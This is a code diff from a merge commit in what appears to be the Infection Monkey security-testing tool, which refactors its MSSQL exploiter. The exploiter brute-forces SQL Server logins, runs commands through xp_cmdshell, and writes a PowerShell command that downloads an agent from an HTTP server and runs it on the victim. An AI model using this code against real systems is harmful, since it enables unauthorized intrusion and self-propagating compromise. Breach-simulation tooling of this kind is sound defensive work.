Merge pull request #2021 from guardicore/mssql-method-improvements

MSSQL method improvements
This commit is contained in:
Mike Salvatore 2022-06-15 10:25:10 -04:00 committed by GitHub
commit 353594f505
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 76 additions and 80 deletions

View File

@ -1,6 +1,7 @@
import logging import logging
from pathlib import PureWindowsPath from pathlib import PureWindowsPath
from time import sleep from time import sleep
from typing import Sequence, Tuple
import pymssql import pymssql
@ -33,7 +34,7 @@ class MSSQLExploiter(HostExploiter):
# Single quotes are escaped in SQL by using two of them. # Single quotes are escaped in SQL by using two of them.
# Example: 'It ain''t over ''til it''s over' # Example: 'It ain''t over ''til it''s over'
MONKEY_DOWNLOAD_COMMAND = ( AGENT_DOWNLOAD_COMMAND = (
"powershell (new-object System.Net.WebClient)." "powershell (new-object System.Net.WebClient)."
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
) )
@ -45,12 +46,7 @@ class MSSQLExploiter(HostExploiter):
self.payload_file_path = MSSQLExploiter.TMP_DIR_PATH / MSSQLExploiter.TMP_FILE_NAME self.payload_file_path = MSSQLExploiter.TMP_DIR_PATH / MSSQLExploiter.TMP_FILE_NAME
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
""" agent_path_on_victim = get_agent_dst_path(self.host)
First this method brute forces to get the mssql connection (cursor).
Also, don't forget to start_monkey_server() before self.upload_monkey() and
self.stop_monkey_server() after
"""
monkey_path_on_victim = get_agent_dst_path(self.host)
# Brute force to get connection # Brute force to get connection
creds = generate_identity_secret_pairs( creds = generate_identity_secret_pairs(
@ -58,7 +54,7 @@ class MSSQLExploiter(HostExploiter):
self.options["credentials"]["exploit_password_list"], self.options["credentials"]["exploit_password_list"],
) )
try: try:
self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
except FailedExploitationError: except FailedExploitationError:
logger.info( logger.info(
f"Failed brute-forcing of MSSQL server on {self.host}," f"Failed brute-forcing of MSSQL server on {self.host},"
@ -71,16 +67,10 @@ class MSSQLExploiter(HostExploiter):
return self.exploit_result return self.exploit_result
try: try:
# Create dir for payload self._create_temp_dir()
self.create_temp_dir() self._upload_agent(agent_path_on_victim)
self._run_agent(agent_path_on_victim)
http_thread = self.start_monkey_server(monkey_path_on_victim) self._remove_temp_dir()
self.upload_monkey(monkey_path_on_victim)
MSSQLExploiter._stop_monkey_server(http_thread)
self.run_monkey(monkey_path_on_victim)
self.remove_temp_dir()
except Exception as e: except Exception as e:
error_message = ( error_message = (
f"An unexpected error occurred when trying " f"An unexpected error occurred when trying "
@ -95,68 +85,9 @@ class MSSQLExploiter(HostExploiter):
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
return self.exploit_result return self.exploit_result
def create_temp_dir(self): def _brute_force(
logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}") self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
) -> pymssql.Cursor:
mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}"
self._run_mssql_command(mkdir_command)
def upload_monkey(self, monkey_path_on_victim: PureWindowsPath):
self._write_download_command_to_batch_file(monkey_path_on_victim)
self.run_payload_file()
def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath):
agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim)
)
self._write_command_to_batch_file(agent_download_command)
def _write_command_to_batch_file(self, command: str):
write_to_file_command = f"<nul set /p={command}>{self.payload_file_path}"
self._run_mssql_command(write_to_file_command)
def _run_mssql_command(self, command: str):
logger.debug(f"Running command on SQL Server: {command}")
self.cursor.execute(f"xp_cmdshell '{command}'")
self.add_executed_cmd(command)
sleep(MSSQLExploiter.QUERY_BUFFER)
def run_payload_file(self):
self._run_mssql_command(str(self.payload_file_path))
def run_monkey(self, monkey_path_on_victim: PureWindowsPath):
self._write_agent_launch_command_to_batch_file(monkey_path_on_victim)
self.run_payload_file()
def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim):
agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim)
self._write_command_to_batch_file(agent_launch_command)
def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath):
monkey_args = build_monkey_commandline(
self.host, self.current_depth - 1, monkey_path_on_victim
)
return f"{monkey_path_on_victim} {DROPPER_ARG} {monkey_args}"
def remove_temp_dir(self):
self._run_mssql_command(f"del {self.payload_file_path}")
self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}")
def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(monkey_path_on_victim), self.agent_repository
)
return http_thread
@staticmethod
def _stop_monkey_server(http_thread):
http_thread.stop()
http_thread.join(LONG_REQUEST_TIMEOUT)
def brute_force(self, host, port, users_passwords_pairs_list):
""" """
Starts the brute force connection attempts and if needed then init the payload process. Starts the brute force connection attempts and if needed then init the payload process.
Main loop starts here. Main loop starts here.
@ -213,3 +144,68 @@ class MSSQLExploiter(HostExploiter):
raise FailedExploitationError( raise FailedExploitationError(
"Bruteforce process failed on host: {0}".format(self.host.ip_addr) "Bruteforce process failed on host: {0}".format(self.host.ip_addr)
) )
def _create_temp_dir(self):
logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}")
mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}"
self._run_mssql_command(mkdir_command)
def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
http_thread = self._start_agent_server(agent_path_on_victim)
self._write_download_command_to_batch_file(agent_path_on_victim)
self.run_payload_file()
MSSQLExploiter._stop_agent_server(http_thread)
def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(agent_path_on_victim), self.agent_repository
)
return http_thread
@staticmethod
def _stop_agent_server(http_thread: LockedHTTPServer):
http_thread.stop()
http_thread.join(LONG_REQUEST_TIMEOUT)
def _write_download_command_to_batch_file(self, agent_path_on_victim: PureWindowsPath):
agent_download_command = MSSQLExploiter.AGENT_DOWNLOAD_COMMAND.format(
http_path=self.agent_http_path, dst_path=str(agent_path_on_victim)
)
self._write_command_to_batch_file(agent_download_command)
def _write_command_to_batch_file(self, command: str):
write_to_file_command = f"<nul set /p={command}>{self.payload_file_path}"
self._run_mssql_command(write_to_file_command)
def _run_mssql_command(self, command: str):
logger.debug(f"Running command on SQL Server: {command}")
self.cursor.execute(f"xp_cmdshell '{command}'")
self.add_executed_cmd(command)
sleep(MSSQLExploiter.QUERY_BUFFER)
def run_payload_file(self):
self._run_mssql_command(str(self.payload_file_path))
def _run_agent(self, agent_path_on_victim: PureWindowsPath):
self._write_agent_launch_command_to_batch_file(agent_path_on_victim)
self.run_payload_file()
def _write_agent_launch_command_to_batch_file(self, agent_path_on_victim: PureWindowsPath):
agent_launch_command = self._build_agent_launch_command(agent_path_on_victim)
self._write_command_to_batch_file(agent_launch_command)
def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
agent_args = build_monkey_commandline(
self.host, self.current_depth - 1, agent_path_on_victim
)
return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"
def _remove_temp_dir(self):
self._run_mssql_command(f"del {self.payload_file_path}")
self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}")